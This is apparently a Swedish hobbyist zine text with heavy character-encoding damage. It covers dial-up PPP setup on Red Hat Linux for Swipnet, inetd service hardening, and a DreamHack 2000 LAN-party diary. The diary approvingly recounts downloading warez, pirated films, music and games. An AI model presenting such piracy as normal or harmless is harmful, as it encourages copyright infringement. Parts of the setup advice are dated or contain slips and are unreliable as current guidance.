Username: H<>r skriver du in ditt kontonamn (s-xxxxx).
Password: H<>r skriver du ditt l<>senord.
Swipnet> Du <20>r inloggad.
Du kan nu testa att skriva ? Du kommer att f<> en lista <20>ver de kommandon du kan
anv<EFBFBD>nda. Men det <20>r inte s<> viktigt nu. Huvudsaken <20>r att du kopplades upp och
att du hamnade vid login-prompten.
Avsluta nu med quit och <20>terg<72> till din maskin. F<>r att avsluta minicom, trycker du
CTRL+A>, sedan <Z>. D<> skall du f<> en meny d<>r du kan v<>lja olika alternativ.
V<EFBFBD>lj X - dvs avsluta minicom.
Du har nu kommit en bra bit p<> v<>g, att f<> en uppkoppling mot Internet att fungera.
Om det ovanst<73>ende inte fungerar, <20>r du tvungen att kontrollera att ditt modem sitter i
r<EFBFBD>tt port och att initieringsstr<74>ngen funkar med ditt modem. Om du har en manual f<>r
modemet, b<>r du kontrollera d<>r hur initstr<74>ngen skall se ut. Defaultstr<74>ngen b<>r fungera
som den <20>r, men man vet aldrig. F<>rhoppningsvis kopplade modemet ner p<> r<>tt s<>tt.
Skulle inte detta vara fallet, kan du skriva ps vid prompten. Du f<>r d<> en f<>rteckning
<EFBFBD>ver de processer som <20>r aktiva. D<>r skall du kunna se vilken process som anv<6E>nds av
minicom - om den fortfarande <20>r aktiv. Skriv d<> kill och numret p<> processen s<> skall
modemet koppla ner.
Konfigurera PPP
PPPd-programmet kan acceptera parametrar fr<66>n tv<74> st<73>llen. Dels direkt vid prompten,
dels via en "options"-fil. Att skriva parametrarna vid prompten, kan vara b<>kigt, s<> jag
visar hur man skriver en options-fil. Normala st<73>llet f<>r filen <20>r:
/etc/ppp/options
Detta <20>r en enkel textfil som inneh<65>ller de parametrar som pppd anv<6E>nder vid
uppkopplingen. Denna fil m<>ste vara l<>sbar f<>r alla som skall k<>ra pppd-programmet.
F<EFBFBD>r det mesta <20>r det root. Om du inte har ett /etc/ppp-bibliotek, skapar du ett s<>dant
(inloggad som root):
# mkdir /etc/ppp
# chown root:root /etc/ppp
# chmod 755 /etc/ppp
Skapa en /etc/ppp/options -fil med vi, eller den editor som du f<>redrar. Denna fil skall inne-
h<EFBFBD>lla parametrar som tex modemhastighet, port som modemet <20>r anslutet till, vilket script
som handhar inloggningen och att du f<>r ett IP-nummer tilldelat dynamiskt av din
Internetleverant<EFBFBD>r <20> i det h<>r fallet Tele2. Skriv in f<>ljande rader:
debug
/dev/cua1
115200
modem
crtscts
lock
connect /etc/ppp/net-connect
asyncmap 0
defaultroute
:
Detta betyder:
1. Du vill att ppp skall ge dig information n<>r det k<>rs
2. Ditt modem <20>r kopplat till com2 (dos) eller cua1
3. Modem-hastigheten <20>r 115200
4. Du vill lyssna p<> Data Carrier Detect- signalen
5. Du vill anv<6E>nda "nomal" handskakning (RTS/CTS)
6. Du anv<6E>nder lock - prioritering f<>r modemet <20>ver andra program
7. Ditt uppringningsprogram <20>r /etc/ppp/net-connect
8. Du anv<6E>nder 8-bitars uppkoppling
9. Defaultroute skall anv<6E>ndas
10. Din internetleverant<6E>r tilldelar dig ett IP-nummer (dynamiskt tilldelat IP)
Detta script <20>r t<>mligen ordin<69>rt f<>r en ppp-uppkoppling mot en ISP (Internet Service
Provider) som tilldelar dig ett IP-nummer varje g<>ng du kopplar upp.(Dynamiskt tilldelat IP-
nummer dvs du f<>r ett nytt IP-nummer vid varje tillf<6C>lle du kopplas upp. Alternativet <20>r fast
IP-nummer - dock inte s<> vanligt).
Ok - d<> k<>r vi vidare. Du skall nu skapa en fil kallad net-connect som pekar mot ett script
som kallas chat.
Skapa filen med:
# cd /etc/ppp
# vi net-connect
Startar editorn vi med namnet p<> den fil du vill skapa dvs net-connect. N<>r programmet
startas st<73>r du i kommandol<6F>ge. Tryck d<> <i> f<>r att hamna i inskrivningsl<73>ge. Skriv in:
# ! /bin/sh
/usr/sbin/chat -v -t 60 -f /etc/ppp/net-chat
Avsluta vi med kommandot <esc : wq> (Tryck p<> esc-tangenten, d<>refter p<> :-tangenten
och skriv wq vid :-tecknet l<>ngst ner p<> sidan). D<> sparas filen och vi avslutas. Skulle du
skriva fel, kan du avsluta med <esc : q!> D<> avslutas programmet utan att n<>got sparas.
Ok - d<> har du skapat en fil som heter net-connect. I den filen har du talat om att programmet
chat pekar mot filen net-chat som du snart skall skapa. Chat-scriptet startas med
argumenten -v = visar hur uppkopplingen g<>r direkt p<> sk<73>rmen, -t = tidsangivelse som anger
hur l<>nge programmet skall v<>nta innan det avslutas om uppkopplingen skulle misslyckas,
-f = talar om f<>r programmet chat namnet p<> den fil som skall anv<6E>ndas vid uppkopplingen,
i det h<>r fallet, filen net-chat. Se till att filen <20>r l<>sbar och exekverbar av alla som kan starta
pppd.
Skriv:
# chmod 500 /etc/ppp/net-connect
# chown root:root /etc/ppp/net-connect
D<EFBFBD> skall du skapa en fil som heter net-chat som automatiskt sk<73>ter inloggningen till Swipnet.
Starta vi och skriv in:
TIMEOUT 50
ABORT '\nBUSY\r'
ABORT '\nNO ANSWER\r'
ABORT '\nRINGING\r\n\r\n\RINGING\r'
'' \rAT&C1&D2Q0V1X4 // obs '' = 2 st apostrofer utan mellanslag
'OK-+++\c-OK' ATH0 // obs 0 = siffran
OK 'ATDTxxxxxx' // xxxxx = ditt telefonnummer till Tele2
CONNECT ''
name: s-xxxxxx // H<>r skriver du in ditt inloggningsnamn
word: xxxxxxxx // H<>r skriver du in ditt l<>senord
net> PPP // obs - tabavst<73>nd mellan net> och PPP
__________________________________________________________________________
Viktigt att du skriver exakt som det st<73>r h<>r ovan. Slarva inte h<>r - d<> f<>r du problem senare
t.ex att modemet kopplar ner utan f<>rvarning.
__________________________________________________________________________
Spara filen. Nu skall det mesta vara klart f<>r att du skall kunna koppla upp dig mot swipnet.
F<EFBFBD>rst skall dock r<>ttigheterna till filen <20>ndras f<>r att den som skall anv<6E>nda pppd, skall ha
tillg<EFBFBD>ng till filen.
# chown root:root /etc/ppp/net-chat
# chmod 600 /etc/ppp/net-chat
En detalj <20>terst<73>r innan du kan testa uppkopplingen. Du <20>r tvungen att ange en nameserver
och dess IP-nummer. Namn och nummer p<> servern har du f<>tt fr<66>n Tele2 n<>r du k<>pte ditt
abonnemang.
N<EFBFBD>stan l<>ngst ner p<> dessa uppgifter, ser du raden Namnserver 192.71.220.10 Detta IP-
nummer
skall du l<>gga till i en fil som heter resolv.conf som finns i katalogen /etc.
# cd /etc
# vi resolv.conf
nameserver 192.71.220.10
nameserver 130.244.127.161 // Ny namnserver hos Tele2
nameserver 130.244.127.169 // Ny namnserver hos Tele2
F<EFBFBD>r er som har Telia som leverant<6E>r - ange ist<73>llet ip-nummer till
10.0.0.1 och 10.0.0.2
Avsluta och spar filen. Nu <20>r du redo att testa uppkopplingen. Skriv vid prompten:
# pppd
Skulle inte detta funka - testa:
# /usr/sbin/pppd
Nu skall modemet koppla upp och inloggningen till swipnet ske automatiskt.
Du kan h<>lla <20>gonen p<> modemet f<>r att se att det kopplar upp p<> r<>tt s<>tt och att
det inte kopplar ner igen. V<>nta en stund s<> att du <20>r s<>ker p<> att uppkopplingen har
lyckats och <20>r stabil. Du kan nu testa din uppkoppling med ett program som heter ifconfig.
# /sbin/ifconfig
Du skall d<> f<> en lista p<> de uppkopplingar du har. Din ppp-uppkoppling syns som:
ppp0 Link encap:Point-to-Point Protocol
inet addr:192.71.220.24 P-t-P:192.71.220.10 Mask:255.255.0.0
UP POINTOPOINT RUNNING MTY:1500 Metric:1
RX packets:106519 errors:0 dropped:0 overruns:0
TX packets.111873 errors:0 dropped:0 overruns:0
Du ser nu att du <20>r uppkopplad. Du kan ocks<6B> se vilken IP-adress din dator har
tilldelats vid inet addr:192.71.220.24 Om uppkopplingen inte fungerar, kan du g<>
till /var/log/messages och l<>sa den filen f<>r att se vad som eventuellt har g<>tt fel.
Men om du har Linux Redhat och din Internet-leverant<6E>r <20>r Tele2, skall det h<>r fungera bra.
Ett annat s<>tt att kontrollera uppkopplingen, <20>r att anv<6E>nda programmet ping.
#ping 192.71.220.10 // Detta <20>r IP-numret till Swipnets namnserver
PING 192.71.220.10 (192.71.220.24) 56 data bytes
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=437.0 ms
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=421.4 ms
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=430.9 ms
^C #avsluta med ctrl+c
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 421.4/437.0/430.9 ms
F<EFBFBD>r att avsluta - skriv ps vid prompten(som root). Du ser d<> de aktiva processerna.
Kolla in vilket pidnummer din pppd-process har och skriv sedan kill 345
eller det nummer som din pppd-process har. D<> skall modemet koppla ner.
Varje program som k<>rs eller <20>r aktivt, har sitt eget pid-nummer. (Process Identification
Number). Om du n<>gon g<>ng f<>r problem med att ett program h<>nger sig eller inte
avslutas, kan du manuellt "d<>da" programmet med kommandot kill.
kill -9 pidnr <20>r ett annat s<>tt att "d<>da" f<>rbindelsen om det vanliga kill inte skulle
koppla ner ditt modem.
En annan variant <20>r att logga in p<> n<>sta virituella konsoll och d<>rifr<66>n "d<>da" programmet
om du tex fastnar "inuti" ett program och inte kan avsluta med kill-kommandot. Detta kan
h<EFBFBD>nda n<>r du kopplar upp dig och servern inte svarar p<> dina kommandon. Ett annat s<>tt
kan vara att helt enkelt sl<73> av modemet och anv<6E>nda kill f<>r att avsluta processen.
Med Redhat f<>ljer script som du kan anv<6E>nda f<>r upp- och nerkoppling. Jag anv<6E>nder
sj<EFBFBD>lv ppp-off f<>r att "st<73>nga" min f<>rbindelse till Internet. S<>k efter ppp-off med
kommandot locate - det skall ligga i /usr/doc/ppp-2.2.0f/scripts/ om du har Redhat 5.0
Kopiera scriptet till tex din hemkatalog med kommandot
$ cp /usr/doc/ppp-2.2.0f/scripts/ppp-off /home/anv<6E>ndare
Scriptet kan du sedan anv<6E>nda utan modifieringar f<>r att koppla ner -
$ ppp-off
Modemet kopplar d<> ner f<>rbindelsen.
Scriptet ppp-on kan du ocks<6B> anv<6E>nda efter modifieringar, men eftersom pppd som
kommando <20>r lika l<>tt att anv<6E>nda, skippar jag sj<73>lv ppp-on
Om du vill ge anv<6E>ndare m<>jlighet att koppla upp sig mot Internet, b<>r du ge
dessa anv<6E>ndare r<>ttigheter att anv<6E>nda de olika scripten som beskrivits ovan.
Men t<>nk p<> att du inte "ger bort" l<>sr<73>ttigheter om du inte vill skylta med
l<EFBFBD>senordet f<>r alla <20>vriga anv<6E>ndare.
Jag <20>r sj<73>lv ensam anv<6E>ndare p<> min Linux-burk s<> jag beh<65>ver inte detta
"skydd", men det <20>r "s<>krare" att anv<6E>nda uppkoppling som anv<6E>ndare <20>n
som root. Dessutom kan du st<73>ta p<> problem n<>r du anv<6E>nder epost-program
som tex Pine, d<> avs<76>ndaren kommer att bli root om du k<>r uppkoppling och
epost-program som root. Det finns s<>kert n<>got s<>tt att <20>ndra avs<76>ndare,
men jag har sj<73>lv inte lyckats f<> reda p<> hur.S<> d<>rf<72>r har jag skapat en anv<6E>ndare
som motsvarar mitt epost-namn, (bjorn.lindblom@xxxxx.se) och slingrar mig d<>rmed
runt detta problem.
Jag har nu f<>tt reda p<> hur man kan byta avs<76>ndare p<> e-posten i Pine.
<EFBFBD>ppna .pinerc som du har i din hemkatalog - g<> ner till Preferences och under
feature-list= , skriver du in allow-changing-from. Sedan vidare ner till customized-hdrs=
d<EFBFBD>r du skriver in From: Det namn du vill se som avs<76>ndare tex From:Jag
och sedan Reply-To: anv<6E>ndarnamn tex Reply-To: Jag. Detta g<>r att n<>r du skickar
ett meddelande, kommer detta meddelande att ha som avs<76>ndare det namn du anger h<>r.
Allts<EFBFBD>:
1. <20>ppna .pinerc som du har i hemkatalogen, tex med
# vi .pinerc
2. G<> ner till preferences
3. Under feature-list - skriv in allow-changing-from
4. G<> till customized-headers= d<>r du skriver in From:ditt-namn@xxxxx
och Reply-To:ditt-namn@xxxxx
Nu kommer Pine visa dessa rader i headern n<>r du skickar epost och mottagaren kan trycka p<>
svara utan att bry sig om den adress han svarar till, och meddelandet kommer till den adress
du specificerat under Reply-To.
Du kan ocks<6B> testa din uppkoppling med l<>saren lynx. Skriv d<> -
# lynx http://home1.swipnet.se/~w-13264/ppp.htm
Du skall d<> komma till den h<>r filen i txt-format, om allt funkar som det ska.
Du kan ocks<6B> h<>mta hem Netscape f<>r Linux p<> Netscapes hemsida -
Netscape och installera den efter de anvisningar som medf<64>ljer programmet.
Starta sedan xwindows och via term-f<>nstret kan du k<>ra Netscape.
Sammanfattning:
1. # dmesg | grep -i ppp Kolla om k<>rnan st<73>der ppp
2. minicom Manuell uppkoppling mot ISP
3. /etc/ppp/options Uppkopplings-parametrar
4. /etc/ppp/net-connect Fil som chat anv<6E>nder vid uppkopplingen.
5. /etc/ppp/net-chat Inloggningsscript.
6. /etc/resolv.conf Namnserver med IP-nummer.
7. /sbin/ifconfig Kontroll av uppkoppling.
8. ping Kontroll av uppkoppling.
Om du har fler datorer och vill anv<6E>nda din Linux-burk som gateway mot Internet,
kan du kolla p<> min enkla beskrivning hur du anv<6E>nder Ip-Masquerade f<>r att utnyttja
hela ditt lokala n<>t mot Internet.IP-Masquerade
Nu kanske det <20>r dags att fixa din e-post ox<6F> och jag visar h<>r hur man anv<6E>nder
Fetchmail och Pine f<>r detta.
Lycka till och lev lugnt!
N<EFBFBD>tverkstj<EFBFBD>nster
Vilka n<>tverkstj<74>nster som finns tillg<6C>ngliga beror givetvis i f<>rsta hand p<> vilka du har
installerat. I andra hand <20>r det demonen inetd som best<73>mmer vad som ska finnas tillg<6C>ngligt.
En demon <20>r ett program som hela tiden ligger i bakgrunden och utf<74>r en del grejor p<>
kommando, inetd startar t.ex. upp ftp-servern n<>r n<>gon eller n<>got f<>rs<72>ker komma <20>t port
21. S<>kerhetsm<73>ssigt ska du ha s<> f<> servrar tillg<6C>ngliga som m<>jligt: ju fler d<>rrar desto
st<EFBFBD>rre chans att n<>gon bryts upp.
S<EFBFBD>kerheten <20>r n<>gonting som du m<>ste t<>nka p<> hela tiden. Det <20>r inget l<>tt <20>mne, varken i
Linux eller i n<>got annat system. Problemet <20>r ocks<6B> att om du v<>ljer ett system som <20>r enkelt
att konfigurera s<>kerhet p<>, <20>r risken stor att du blir lurad av falsk s<>kerhet. Vissa system <20>r
dessutom mer utprovade <20>n andra. Sedan m<>ste du givetvis se till att ha program utan
s<EFBFBD>kerhetsh<EFBFBD>l.
Varje g<>ng du uppr<70>ttar en f<>rbindelse mot n<>gon server, t.ex. en teleserver, kontaktar du en
speciell port. N<>r servern m<>rker att du f<>rs<72>ker n<> port 23 kommer den, lite f<>renklat, att
vidarebefordra dig till telnetservern. I detta fall <20>r servern ett program. (en demon).
Inetd konfigureras i filen /etc/inetd.conf. Konfigurationsfilen <20>r ganska l<>tt att <20>ndra i;
Titta bara p<> hur de andra programmen <20>r konfigurerade.
# cat /etc/inetd.conf | grep telnet
telnet stream tcp nowait root /usr/sbin/in.telnetd
# cat /etc/services | grep telnet
telnet 23/tcp
(Du f<>r l<>ra dig mer om telnet och GREP kommandot senare i HM).
F<EFBFBD>rsta f<>ltet anger vilken tj<74>nst det handlar om; se /etc/services efter vilka tj<74>nster som finns.
Att det st<73>r telnet inneb<65>r att resten av av raden g<>ller n<>r n<>gon f<>rs<72>ker komma <20>t port 23.
Annars <20>r det bara det sista f<>ltet som <20>r intressant, dvs s<>kv<6B>gen till programmet inetd skall
starta. Titta igenom /etc/inetd.conf och kommentera ut allt du inte beh<65>ver. Ta sedan reda p<>
demonens PID-nummer och starta om den med kill <20>SIGHUP <PID>.
Du kan prova kommandot netstat om du vill se vilka tj<74>nster som <20>r aktiva.
Ok, ni som inte har f<>rst<73>tt ett stouft, v<>nta bara. Jag kommer l<>ra er detta s<> sm<73>ningom i
n<EFBFBD>sta nummer eller s<>, sedan f<>r du g<> tillbaka och kolla igen. Jag hade som en liten
<EFBFBD>uppgift<EFBFBD> av ett flertal l<>sare som ville ha lite mer <20>avancerad text<78>. Detta <20>r inte s<>rskiljt
avancerat. ;-). Men det uppfyller nog de flestas krav. F<>r er som har b<>rjat med Linux och
kan grunderna.
Det ing<6E>r m<>nga olika tj<74>nster, h<>r <20>r ett urval:
FTP <20> File Transfer Protocol, v<>ldigt vanligt p<> Internet. I detta fall handlar det om en
FTP-server. Kolla om du har en FTP ig<69>ng genom att k<>ra ftp 127.0.0.1 . Det <20>r en
potentiell s<>kerhetsrisk och om du inte beh<65>ver en ftp-server anser jag att du b<>r aktivera
p<EFBFBD> n<>got s<>tt, s<>som att kommentera ftp-raden i inetd-konfigurationfil. (G<>r s<> att den
ignoreras av systemet). Om du beh<65>ver en ftp-server <20>r det viktigt att den konfigureras r<>tt,
h<EFBFBD>ll <20>ven ett <20>ga p<> uppdateringar om n<>gon s<>kerhetsbugg skulle uppt<70>ckas.
TELNET <20> Telnet anv<6E>nds om man vill logga in p<> en annan dator, en telnet-server <20>r
s<EFBFBD>ledes ett program som l<>ter n<>gon annan logga in p<> din dator genom telnet.
Du b<>r inte g<>rna anv<6E>nda telnet, utan anv<6E>nd i st<73>llet Secure SHell. (SSH), som anv<6E>nder
stark kryptering. Utan kryptering <20>r det m<>jligt f<>r folk att snappa upp inloggningsnamn
och l<>senord eftersom dessa skickas i klartext ut <20>ver Internet. (Mer om det i n<>sta bok).
En del Internetleverant<6E>rer l<>ter dig telnetta till deras datorer och anv<6E>nda dem.
Telnet anv<6E>nds allts<74> om man vill logga in p<> en annan dator via n<>tverk.
Fungerar p<> samma s<>tt som n<>r du loggar in p<> din egen.
FINGER <20> Finger <20>r en slags f<>reg<65>ngare till personliga hemsidor. Man k<>rde
Finger kalle@datornamn f<>r att f<> se kalles personliga .plan-fil. <20>ven finger <20>r ett
potentiellt s<>kerhetsh<73>l. Prova att k<>ra finger p<> dig sj<73>lv p<> din egen dator,
finger ditt_namn@localhost.
SMTP <20> Smtp anv<6E>nds f<>r att transportera E-mail, det finns SMTP-servrar till Linux.
Sendmail, qmail och smail <20>r nog de vanligaste. Med en s<>dan kan du s<>tta upp en
mailserver. En smtp-server kan vara v<>ldigt sv<73>r att konfigurera; det <20>r dessutom v<>ldigt
os<EFBFBD>kert om det inte g<>rs ordentligt. Qmail <20>r f<>rmodligen den enklaste och snabbaste
SMTP-servern. Sendmail <20>r k<>nt f<>r sina m<>nga buggar och bakd<6B>rrar.
Kapitel 7: Dreamhack 2000
Den 30:e November <20>r 2000, anl<6E>nde icecoder och RobbTheJobb till DreamHack,
Nordens st<73>rsta demoparty.
DreamHack <20>r ett s<> kallat Demo Party som <20>ger rum i Borl<72>nge varje <20>r.
Det startades <20>r 1997 och har h<>llit p<> sen dess.
Vad <20>r d<> detta??
Svar; 4000 personer, cirka 500 (fler`?) med datorer, uppkopplade i n<>tverk.
Ungdomar fr<66>n hela v<>rlden samlas i Kupolens arena och t<>vlar i spel, design, musik och
programmering. Hela Jolt fabriken k<>ptes slut. <20>verallt fanns d<>r backar.
Dundrande musik <20>verallt. Folk som f<>rs<72>ker <20>verr<72>sta varrandras musikanl<6E>ggningar,
alla kopplade till varsina PCs.
DAG 1: onsdag
Vi tog ledigt redan p<> Onsdagen i och med att vi d<> hade friluftsdag i skolan, vi beh<65>vde ju
tid att packa! ;-). Checklistan inneh<65>ll bland annat:
? <20>ronproppar
? Papper & Penna
? Dator (ehe..)
? CD/CD-R(W) skivor
? H<>gtalare
? Julgransbelysning
? Toapapper
? Handduk
? Tandborste/Tandkr<6B>m
? H<>rvax
? Pengar
? Mobiltelefon
? Kamera
? Batterier
? H<>rlurar
? Sovs<76>ck
? Liggunderlag
? En massa sladdar
Med mer.. V<>skorna blev <20>verfyllda. (Tv<54> st. + en stor madrass).
Vi kunde inte h<>lla oss utan plockade upp datorerna och skapade ett litet LAN.
Vi satt och programmerade dator-skydd hela natten. Om ej r<>tt l<>senord skrevs in startades
Tre kopior av programmet, sedan b<>rjade sk<73>rmen blinka r<>tt och gult och ge ifr<66>n sig ett
Pip-pip-pip ljud, p<> sk<73>rmen stod d<> ocks<6B> <20>DONT U FUCKING TOUCH ME!<21>.
Detta om detta, det fungerade bra iaf.
Sedan sov vi.. (Inte s<> intressant dag kanske? Spara checklistan f<>r framtida behov ;-) ).
DAG 2: torsdag
Vi gav oss iv<69>g i farsans bil klockan 07:30.
Stressigt som fan. Kontrollera att allt <20>r med.. Bla bla bla, und so weiter..
RobbTheJobb sov mest hela resan dit, (1.5 timma ungeff<66>r), jag f<>rs<72>kte vila mig lite,
natten innan kunde jag inte sova och l<>g d<>rmed vaken fram till klockan 5 p<> morgonen.
N<EFBFBD>r vi kom fram blev vi lite tr<74>tta av att se den stillast<73>ende k<> som bildats utanf<6E>r d<>rrarna.
Folk ville in och byta ut sin biljett mot det gr<67>na plastband man fick runt handleden f<>r att
smidigt ta sid in och ut. (Exakt ett s<>dant band man f<>r b<>ra n<>r man har permission fr<66>n
sjukhuset, men med en klatchig DreamHack design ;-) ).
N<EFBFBD>r vi k<>at klart kunde vi b<>rja b<>ra in v<>r utrustning.
DH hade n<>gon vecka tidigare tagit bort <20>Seat-map<61> och vi visste d<>rf<72>r inte vart vi skulle
sitta, (det var vi inte ensama om). Vi gick till informationen och hittade snart v<>ra platser.
K<EFBFBD>nkade iv<69>g med v<>skorna, d<>r! Rad F, plats 102.. eller n<>t?, japp, d<>r l<>g v<>ra namnskyltar
fint uppsl<73>ngda p<> sp<73>nskivsbordet.
- Men va fan nu d<>!? Man har ju bara 1.2 meters bredd att sitta p<> ju! Jag kommer inte f<>
plats med datorn! Och killen mittemot hade parkerat sin sk<73>rm <20>t helvete f<>r l<>ngt in, jag
Bad honom flytta den lite mer bak<61>t, men den var ju redan s<> indragen det gick.. Arg!
Till slut lyckades jag snirkla mig in, med knapp marginal. Jag h<>ll mig innanf<6E>r str<74>cken,
men visst tusan var tangentbordet halvt sv<73>vande i luften.
Till slut kom vi till r<>tta. Datorerna funkade fint.
Grannen d<>remot, hur fan kan man komma dit utan operativsystem i burken?
Det f<>rsta han gjorde var att k<>ra installationen f<>r Windows2000,, n<>r han var
klar m<>ttes han av den n<>rmast klassiska BlueScreen of Death.
Toppen! Ominstallera igen.. Tre timmar till spillo ;-).
Vad g<>llde ljudkvaliten var vi kungar <20>tminstone den f<>rsta dagen, tills de tv<74> mystiska
Got-killarna kom och sm<73>llde upp sina hemmabyggda basl<73>dor. Usch! Mellow i <20>verfl<66>d.
Vi h<>jde volymen, de h<>jde volymen, vi h<>jde mer, de h<>jde mest.
Dock kunde de inte <20>vertr<74>ffa min <20>ronsk<73>rande diskans. Fyra sm<73> h<>gtalare riggade
ovanp<EFBFBD> burken.
<EFBFBD>-Fan! V<>nta bara tills n<>sta <20>r.. jag SA ju att jag skulle tagit med mig anl<6E>ggningen!<21> >=)
Efter att vi gjort oss hemmastadda vid borden gick vi till en av restaurangerna vid
k<EFBFBD>pcentrat p<> underv<72>ningen. Pizza! Men fan va sp<73>nd man var, stressad, sugen p<> att
springa tillbaka till datorerna, efter tv<74> tuggor k<>ndes det som att man skulle spy.
Weird feelings. Vi tog med oss pizzorna i en varsin kartong och <20>tergick till datorerna.
Nu hade <20>ven vi inf<6E>rskaffat oss en back med Jolt.
Halsbr<EFBFBD>nna efter fem Jolt.
Nu b<>rjade vi f<> ig<69>ng n<>tverket.
- Vart fan <20>r drivrutinerna f<>r n<>tverkskortet!?
- Vadd<64>? Har du inte samma som jag?
- Jag trodde ocks<6B> det.
- Testa; C:\Windows\System , Testa D:\WIN98 <20>
- Hmm,, hittar inte..
** Reboot **
Disketter hit och dit, kablar hit och dit. Ett virrvarr av sladdar och julpynt.
Sedan kom mardr<64>mmarna, sladdar var fel kopplade, de drogs brutalt och obet<65>nksamt ut av
crew medlemmarna,
- <20>ALLA SKARVAR SKA SITTA I SPRAYADE GRENKONTAKTER! INTE
SERIEL<EFBFBD>NKADE!<21>
Fy fan, det tog minst fem timmar innan allt var i ordning. Till sist hittade <20>ven jag ett uttag f<>r
min skarvsladd. Vid kv<6B>llningen sl<73>cktes lysena i taket och alla ljublade.
Hurra! Lite st<73>mning! Grymmt..
Folk l<>g och sov h<>r och d<>r hela dagarna, mest folk var det p<> golvet mellan 02:00 och
12:00. Men <20>ven vid tider som 16:00 kunde man hitta ungdomar nedkrupna i sovs<76>ckar
<EFBFBD>verallt runtomkring borden och bakom toaletterna.
Jag gick sj<73>lv och lade mig vid 03;00 tiden. RobbTheJobb satt kvar vid datorn och tankade
hem warez mm..
Dag 3: torsdag
Toppendag! Internet hade nu kommit i bruk. Vi kunde komma ut p<> IRC! Jiiehaa!!
Nu var klockan cirka 13:00 och alla hade kommit p<> plats med sina datorer, lampor,
anl<EFBFBD>ggningar, fl<66>ktar mm.. D<> var DH m<>nniskorna s<> smarta att de t<>nde lamporna i
taket f<>r att media skulle kunna filma. Det var ju <20>nd<6E> p<> tiden att vakna!?
Ok, s<> vad h<>nde? Str<74>mmen gick! I HELA KUPOLEN ARENAN.
Dessutom lamslogs McDonalds, en kl<6B>d- och en leksaksbutik.
Det blev tyst i tv<74> sekunder, sedan br<62>t de 2000 bes<65>karna ut i ett ofantligt ljubel som
<EFBFBD>versteg det tidigare d<> lamporna sl<73>cktes. Fy fan! Detta kommer ta tid konstaterade vi alla,
folk tog p<> sig sina jackor, b<>rjade r<>ra sig ut<75>t. Kamerablixtar flashade <20>verallt.
(Se foton p<> www.dh.haxerz.com)
P<EFBFBD> v<>gen ned f<>r trappan r<>kade jag h<>ra en f<>rvirrad 17 <20>ring s<>ga tyst till sin kompis,
<EFBFBD>Varf<EFBFBD>r <20>r alla p<> v<>g ut??<3F>. =)
Gissa.. Ok, s<> vi gick till Hemk<6D>p. Sedan till k<>pcentrum. Tyv<79>rr! Fel st<73>lle, vi skulle ha g<>tt
till McDonalds d<>r det nu serverades gratisburgare. ?.
Efter n<>gon timme gick vi tillbaka och satte oss. Str<74>men var fortfarande fr<66>nvarande.
V<EFBFBD>r granne stod lutad <20>ver sk<73>rmen, liksom n<>r vi l<>mnade honom tv<74> timmar tidigare.
Crewet letade sig igenom virrvarret av sladdar. Vi s<>g en elektriker i k<>pcentrumet, han
stod p<> en stege och skruvade med en massa kablar uppe i taket.
Fan, det <20>r tur att de kan kalla in elektriker p<> mindre <20>n 5 minuter.
Str<EFBFBD>men gick minst tre g<>nger till den dagen. P<> DH-monitorn framme vid scenen kunde man
d<EFBFBD> och d<> l<>sa meddelanden som lovade mer str<74>m snart. Man skulle s<>tta ig<69>ng brum brum
maskiner i k<>llaren. Wow! D<>s<EFBFBD>!.
Jag l<>t datorn st<73> och idle:a <20>ver natten, laddade hem warez och st<73>dje mina IRC kanaler ;-).
F<EFBFBD>r f<>rsta g<>ngen s<>g jag ocks<6B> hur endast tid kan l<>na sig. Morgonen d<>rp<72> hade jag f<>tt
OP i b<>de #pr0n, #crackers, #lamers och #Secure. ?.
Dag 4: fredag
Idag uppt<70>ckte jag charmen med VCR, AVI och MPEG. Vi laddade hem filmer som;
Shaft, Gladiator, Leon,
Gone in 60 secounds, StarTrek 6, Cruil Intention, Romeo Must die, 6:e Sinnet, Scary Movie,
Cayota Ugly, Ninja Scroll, Hackers, Never bin kissed, Roadtrip, Hollowman, Blairwitch
Project 2, Sleepy Hollow, Tigers Film, Xmen, Tekken, Matrix, Blue Streak, Boondok Saints
(Blairwitch Project 2 hade t.ex. inte <20>nnu haft BIO premi<6D>r i Sverige.).
Tufft! Jag trodde inte att det var s<> l<>tt att f<> tag p<> bra filmer.
Tyv<EFBFBD>rr fick vi inte plats med vissa filmer p<> v<>ra CD skivor. ?.
Dessutom laddade vi hem m<>ngder av MP3:or och spel mm..
Helt underbart med delade h<>rddiskar!
L<EFBFBD>rdag rullade p<> som ingenting.. Vi gick till McDonalds och diverse andra st<73>llen.
NM. =).
Prisutdelningar till de som vunnit demot<6F>vlingar.
(De deltagandes bidrag visades en/tv<74> dagar innan upp p<> den stora monitorn).
SENT P<> L<>RDAG NATT Skulle jag plocka upp min gamla, gamla laptop ur v<>skan
och kom d<> <20>t ett par sladdar som satt slingrade runt en burk med Jolt cola.
Burken vickade, jolten rann ut p<> tangentbordet, musmattan, m<>gtalarv<72>ggarna, stolen,
byxorna, Laptop sladdarna och golvet. Det enda som gick s<>nder var dock tangentbordet.
Jag har aldrig hatat Jolt s<> mycket som just d<>. Tur som fan var att det inte rann ut p<>
grannens grejjer. Inte en droppe!, jag fick springa och h<>mta papper, byta byxor, torka av
stolen, sladdarna, h<>gtalarna, v<>skan, bordet, krama ur musmattan, vicka p<> tangentbordet
och h<>lla ut colan. Torka upp den, springa och sl<73>nga burken och papprena, tv<74>tta h<>nderna,
g<EFBFBD> tillbaka och konstatera att jag lika g<>rna kunde g<> och l<>gga mig.
T<EFBFBD>ltet d<>r de s<>lde h<>rdvara hade slut p<> tangentbord. Databutiken var st<73>ngd.
Dagen d<>rp<72>, s<>ndag, gick jag och skulle k<>pa ett nytt. Men, <20>r inte butiken st<73>ngd p<>
s<EFBFBD>ndag? Puh, de hade extra<72>ppet under DreamHack.
- <20>Detta <20>r det enda vi har kvar, det kostar, men det <20>r ju ocks<6B> det b<>sta d<>r<EFBFBD><72>,
sa butiksinnehavaren. Jo visst, 300:- f<>r ett nytt KeyTronic tangentbord var v<>l ok..
Men 300 minus p<> grund av en burk med Jolt. ARGGG!!
Snyggt var det, jag skriver p<> det nu. Men jag f<>r psykbryte! Tangenterna sitter f<>r brett
is<EFBFBD>r och det l<>ter h<>gt som fan n<>r man knapprar p<> det. Pang! Pang! <20> d<>r slog jag p<>
mellanslags tangenten, s<> l<>st som m<>jligt. Pang! Pang!
Dag 5: s<>ndag
